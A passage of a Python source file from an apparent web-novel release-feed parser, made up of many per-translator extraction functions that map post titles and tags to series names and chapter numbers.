	return False

####################################################################################################################################################
def extractMike777ac(item):
	'''
	# Mike777ac

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not postfix and ":" in item['title']:
		postfix = item['title'].split(":")[-1]

	# Christ, this guy doesn't seem to get how tags work:
	# - 'Action'
	# - 'Adventure'
	# - 'Comedy'
	# - 'Fantasy'
	# - 'Hardcore OP-ness'
	# - 'Hardcore OPness'
	# - 'Magic'
	# - 'Mature'
	# - 'HCOP'
	# - 'MC'
	# - 'Transportation'
	# - 'Dungeon'
	#
	# This shit isn't used for indexing or crap. Why do you have so many useless synonyms and tags that are literally
	# applied to EVERY item?

	if ('Hardcore OPness' in item['tags'] or 'HCOP' in item['tags']) and (chp or vol):
		return buildReleaseMessage(item, 'Hardcore OP-ness', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


def  extractNanoDesuKurenai(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuFuyuuGakuennoAliceandShirley(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLypheonMachineTranslation(item):
	'''
	# 'Lypheon Machine Translation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKoongKoongTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHeroicLegendOfArslanTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuMayoChiki(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuHentaiOujitoWarawanaiNeko(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractItranslateln(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKeyoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNovelSaga(item):
	'''
	'Novel Saga'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Dragon Martial Emperor' in item['tags']:
		return buildReleaseMessage(item, 'Dragon Martial Emperor', vol, chp, frag=frag, postfix=postfix)
	if 'The Six Immortals' in item['tags']:
		return buildReleaseMessage(item, 'The Six Immortals', vol, chp, frag=frag, postfix=postfix)
	if 'Genius Sword Immortal' in item['tags']:
		return buildReleaseMessage(item, 'Genius Sword Immortal', vol, chp, frag=frag, postfix=postfix)
	if 'Martial God Space' in item['tags']:
		return buildReleaseMessage(item, 'Martial God Space', vol, chp, frag=frag, postfix=postfix)

	if 'Otherworldly Evil Monarch' in item['tags']:
		return buildReleaseMessage(item, 'Otherworldly Evil Monarch', vol, chp, frag=frag, postfix=postfix)
	if 'Reborn as a Divine Prodigal' in item['tags']:
		return buildReleaseMessage(item, 'Reborn as a Divine Prodigal', vol, chp, frag=frag, postfix=postfix)
	if "The Beast's Blood Boils" in item['tags']:
		return buildReleaseMessage(item, "The Beast's Blood Boils", vol, chp, frag=frag, postfix=postfix)
	if 'The Brilliant Era' in item['tags']:
		return buildReleaseMessage(item, 'The Brilliant Era', vol, chp, frag=frag, postfix=postfix)
	if 'Ze Tian Ji' in item['tags']:
		return buildReleaseMessage(item, 'Ze Tian Ji', vol, chp, frag=frag, postfix=postfix)
	if 'God of Destruction' in item['tags']:
		return buildReleaseMessage(item, 'God of Destruction', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractLickymeeTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Medusa' in item['tags']:
		return buildReleaseMessage(item, 'Regarding the Story of My Wife, Medusa', vol, chp, frag=frag, postfix=postfix)
	if 'OreOjou' in item['tags']:
		return buildReleaseMessage(item, 'Ore ga Ojousama Gakkou ni "Shomin Sample" Toshite Rachirareta Ken', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractNanoDesuFateApocrypha(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKyoptionslibrary(item):
	'''
	# 'kyoptionslibrary.blogspot.com'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Death March' in item['tags']:
		return buildReleaseMessage(item, 'Death March kara Hajimaru Isekai Kyusoukyoku (LN)', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractKumaOtou(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if "I Kinda Came to Another World but where's the way home" in item['tags'] and 'translation' in item['tags']:
		return buildReleaseMessage(item, 'Isekai Kichattakedo Kaerimichi doko?', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractLohithbbTLs(item):
	'''
	# 'Lohithbb TLs'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractMTLCrap(item):
	'''
	# 'MTLCrap'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLinkedTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if item['title'].startswith('A Record of a Mortal’s Journey to Immortality:'):
		if not postfix and ":" in item['title']:
			postfix = item['title'].split(":")[-1]
		return buildReleaseMessage(item, 'A Record of a Mortal’s Journey to Immortality', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractHelidwarf(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Alderamin on the Sky' in item['tags']:
		if not vol:
			vol = 2
		return buildReleaseMessage(item, 'Alderamin on the Sky', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractNovelisation(item):
	'''
	# 'Novelisation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHeartCrusadeScans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNightFallTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKedelu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLuenTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Journey to Seek Past Reincarnations' in item['tags'] or item['title'].startswith('JTSPR'):
		return buildReleaseMessage(item, 'Journey to Seek Past Reincarnations', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractKyakkaTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNakulas(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNTRHolic(item):
	'''
	# 'NTRHolic'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKONDEETranslations(item):
	'''
	#'KONDEE Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractMyPurpleWorld(item):
	'''
	# 'My Purple World'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKakkokari(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Stunning Edge' in item['tags']:
		return buildReleaseMessage(item, 'Stunning Edge', vol, chp, frag=frag, postfix=postfix)
	if 'KKDB' in item['tags']:
		return buildReleaseMessage(item, 'Koushirou Kujou the Detective Butler', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractMartialGodTranslator(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuKorewaZombieDesuka(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuMaoyuuMaouYuusha(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractMojoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuYahariOrenoSeishunLoveComewaMachigatteiru(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuOjamajoDoremi(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuSeitokainoIchizon(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuLightNovelTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKNTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLMSMachineTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLilBlissNovels(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if ':' in item['title'] and 'Side Story' in item['title'] and not postfix:
		postfix = item['title'].split(":")[-1]
	if 'Wei Wei Yi Xiao Hen Qing Cheng' in item['tags']:
		return buildReleaseMessage(item, 'Wei Wei Yi Xiao Hen Qing Cheng', vol, chp, frag=frag, postfix=postfix)
	if 'Memory Lost' in item['tags']:
		return buildReleaseMessage(item, 'Memory Lost', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractNanoDesuOreimo(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuSaenaiHeroinenoSodatekata(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNepustation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Cheat Majutsu' in item['tags']:
		return buildReleaseMessage(item, 'Cheat Majutsu De Unmei Wo Nejifuseru', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractHyorinmaruBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().strip().startswith("martial world – ") or 'Martial World' in item['tags']:
		return buildReleaseMessage(item, 'Martial World', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractNanoDesuRokkanoYuusha(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanowaveTranslations(item):
	'''

	'''
	titletmp = item['title'].replace("'High Speed! 2:", "")
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(titletmp)
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'high speed! 2 translation' in item['tags']:
		return buildReleaseMessage(item, 'High Speed!', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractJunJuntianxia(item):
	'''
	# 'Jun Juntianxia'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLittleNovelTranslation(item):
	'''
	# 'Little Novel Translation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'GTI Release' in item['tags']:
		return buildReleaseMessage(item, 'Godly Thief Incarnation', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractLittleTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractN00bTranslations(item):
	'''
	# 'N00b Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNowhereNothing(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'The Undying Cultivator' in item['tags']:
		if vol != None:
			return
		if 'Arc 1: A Monster Inside' in item['tags']:
			return buildReleaseMessage(item, 'The Undying Cultivator', 1, chp, frag=frag, postfix=postfix, tl_type='oel')
		if 'Arc 2: Courting Death' in item['tags']:
			return buildReleaseMessage(item, 'The Undying Cultivator', 2, chp, frag=frag, postfix=postfix, tl_type='oel')
	if item['title'].startswith("While We Slept "):
		if vol != None:
			return
		return buildReleaseMessage(item, 'Nowhere & Nothing', 1, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def  extractNanoDesuHaitoGensounoGrimgal(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHelloTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuSkyWorld(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLynfamily(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKokumaTranslations(item):
	'''
	'Kokuma Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if item['tags'] == ['Uncategorized'] and item['title'].startswith("Arena Chapter"):
		return buildReleaseMessage(item, 'Arena', vol, chp, frag=frag, postfix=postfix)

	return False

def  extractNovelsGround(item):
	'''
	# 'Novels Ground'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Legend of the Cultivation God' in item['tags'] or 'LOTCG' in item['tags']:
		return buildReleaseMessage(item, 'Legend of the Cultivation God', vol, chp, frag=frag, postfix=postfix)
	if 'Miracle Throne' in item['tags'] or 'LOTCG' in item['tags']:
		return buildReleaseMessage(item, 'Miracle Throne', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractLingTranslatesSometimes(item):
	'''
	# 'Ling Translates Sometimes'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHamster428(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Mei Gongqing' in item['tags']:
		return buildReleaseMessage(item, 'Mei Gongqing', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractIntenseDesSugar(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Congratulation Empress' in item['tags']:
		return buildReleaseMessage(item, 'Congratulation Empress', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractKnokkroTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Eternal Life' in item['tags']:
		return buildReleaseMessage(item, 'Eternal Life', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractLastvoiceTranslator(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLittleShanksTranslations(item):
	'''
	# 'LittleShanks Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Rebirth Thief' in item['tags']:
		return buildReleaseMessage(item, 'Rebirth of the Thief Who Roamed The World', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractNovelTrans(item):
	'''
	# 'Novel Trans'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False






def  extractMnemeaa(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNakimushi(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Renai Kakumei Onii-chan' in item['tags']:
		return buildReleaseMessage(item, 'I, am Playing the Role of the Older Brother in Heart-throb Love Revolution.', vol, chp, frag=frag, postfix=postfix)
	if 'Takamura-kun is Cursed.' in item['tags']:
		return buildReleaseMessage(item, 'Takamura-kun is Cursed', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractNationalNEET(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLizardTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if'The Strongest Violent Soldier' in item['tags']:
		return buildReleaseMessage(item,'The Strongest Violent Soldier', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractLightNovelsTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'I Just About Became a Living Cheat when Raising My Level in the Real Life' in item['tags'] \
		or 'I Became a Living Cheat' in item['tags']:
		return buildReleaseMessage(item, "I Just About Became a Living Cheat when Raising My Level in the Real World", vol, chp, frag=frag, postfix=postfix)
	if 'HimeKishi Ga Classmate!' in item['tags']:
		return buildReleaseMessage(item, "Himekishi ga Classmate! ~ Isekai Cheat de Dorei ka Harem~", vol, chp, frag=frag, postfix=postfix)
	if 'Re:Master Magic' in item['tags']:
		return buildReleaseMessage(item, "The Mage Will Master Magic Efficiently In His Second Life", vol, chp, frag=frag, postfix=postfix)
	if 'The Man Who Would Be King' in item['tags']:
		return buildReleaseMessage(item, 'The Man Who Would Be King', vol, chp, frag=frag, postfix=postfix)
	if 'maou no hajimekata' in item['tags']:
		return buildReleaseMessage(item, 'Maou no Hajimekata', vol, chp, frag=frag, postfix=postfix)
	if 'House Magic' in item['tags']:
		return buildReleaseMessage(item, 'My House is a Magic Power Spot~ Just by Living there I Become the Strongest in the World', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractNegaTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Kaette Kita Motoyuusha' in item['tags']:
		return buildReleaseMessage(item, 'Kaette Kita Motoyuusha', vol, chp, frag=frag, postfix=postfix)
	if 'Takami no Kago' in item['tags']:
		return buildReleaseMessage(item, 'Takami no Kago', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractMousouhaven(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractIstiansWorkshop(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractJagaimo(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuGekkanoUtahimetoMaginoOu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHellYeah524(item):
	'''
	# 'Hell Yeah 524'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['tags'] == ['Uncategorized'] and item['title'].startswith("Chapter"):
		return buildReleaseMessage(item, 'Awakening – 仿如昨日', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("Awakening: Chapter"):
		return buildReleaseMessage(item, 'Awakening – 仿如昨日', vol, chp, frag=frag, postfix=postfix)
	if item['tags'] == ['Uncategorized'] and item['title'].startswith("Shadow Rogue: "):
		return buildReleaseMessage(item, 'Shadow Rogue', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractLegendofGalacticHeroes(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Part 1 - Dawn' in item['tags']:
		if not vol:
			vol = 1
		return buildReleaseMessage(item, 'Legend of Galactic Heroes', vol, chp, frag=frag, postfix=postfix)
	if 'Part 2 - Ambition' in item['tags']:
		if not vol:
			vol = 2
		return buildReleaseMessage(item, 'Legend of Galactic Heroes', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractHendricksensama(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractInfiniteTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLayzisheep(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuKonoSekaigaGameDatoOreDakegaShitteiru(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNoodletownTranslated(item):
	'''
	# 'Noodletown Translated'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False




def  extractL2M(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNovelsJapan(item):
	'''
	#'Novels Japan'
	'''
	if item['title'].endswith(" (Sponsored)"):
		item['title'] = item['title'][:-1*len(" (Sponsored)")]
	if item['title'].endswith(" and Announcement"):
		item['title'] = item['title'][:-1*len(" and Announcement")]
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().endswith('loner dungeon'):
		return buildReleaseMessage(item, 'I who is a Loner, Using cheats adapts to the Dungeon', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().endswith('vending machine'):
		return buildReleaseMessage(item, 'I was Reborn as a Vending Machine, Wandering in the Dungeon', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().endswith('login bonus'):
		return buildReleaseMessage(item, 'Skill Up with Login Bonus', vol, chp, frag=frag, postfix=postfix)
	if (
		item['title'].lower().endswith('lv2 cheat') or
		item['title'].lower().endswith("ex-hero candidate’s, who turned out to be a cheat from lv2, laid-back life in another world") or
		'Lv2 Cheat' in item['tags']

		):
		return buildReleaseMessage(item, "Ex-Hero Candidate's, Who Turned Out To Be A Cheat From Lv2, Laid-back Life In Another World", vol, chp, frag=frag, postfix=postfix)
	return False


def  extractNanoDesuAmagiBrilliantPark(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractMonkotosTranslations(item):
	'''
	# "Monkoto's Translations"
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Chapter Release' in item['tags'] and 'Ryuugoroshi' in item['title']:
		return buildReleaseMessage(item, 'Ryugoroshi no Sugosuhibi', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractKurotsukiNovel(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHellping(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractJoeglensTranslationSpace(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Parallel World Pharmacy' in item['tags']:
		chapter = re.search(r'(?:chapter|chap)\W*(\d+)', item['title'], flags=re.IGNORECASE)
		episode = re.search(r'(?:episode|ep)\W*(\d+)', item['title'], flags=re.IGNORECASE)
		if chapter and episode:
			chp = chapter.group(1)
			frag = episode.group(1)
			return buildReleaseMessage(item, 'Parallel World Pharmacy', vol, chp, frag=frag, postfix=postfix)
	if 'Slave Career Planner' in item['tags']:
		return buildReleaseMessage(item, 'The Successful Business of a Slave Career Planner', vol, chp, frag=frag, postfix=postfix)
	if 'Rokudenashi' in item['tags']:
		return buildReleaseMessage(item, 'Akashic Record of a Bastard Magic Instructor', vol, chp, frag=frag, postfix=postfix)
	if 'Otherworld Nation Founding' in item['tags']:
		return buildReleaseMessage(item, 'Otherworld Nation Founding', vol, chp, frag=frag, postfix=postfix)
	if "Nobu's Otherworld Chronicles" in item['tags']:
		return buildReleaseMessage(item, 'Mr. Nobu\'s Otherworld Chronicles', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractMystiqueTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuSasamiSanGanbaranai(item):
	'''

	'''
